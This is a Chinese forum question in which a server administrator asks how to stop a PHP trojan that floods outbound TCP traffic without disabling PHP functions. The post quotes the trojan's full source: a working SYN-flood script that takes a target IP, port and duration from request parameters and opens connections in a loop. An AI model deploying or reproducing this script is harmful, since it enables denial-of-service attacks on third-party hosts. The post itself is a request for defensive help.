中了php木马，怎么防范？

我在iptables加了规则禁用了php木马对外发udp数据，但现在有木马发tcp数据包，然后服务器带宽就卡死了~

php木马如下：
<?php
ini_set("display_errors", "Off");
$packets = 0;
$ip = $_REQUEST['ip'];
$port = $_REQUEST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_REQUEST['time'];
$time = time();
print "状态 : 正常运行中.....<br>";
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
}
echo "================================================<br>";
echo " <font color=blue>www.baidu.com<br>";
echo " SYN Flood 模块<br>";
echo " 作者：ybhacker<br>";
echo " 警告：本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
echo "================================================<br><br>";
echo " 攻击包总数：<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
echo " 攻击总流量：<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo " 攻击总字节：<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

如何防范，在不禁用任何php函数的情况下？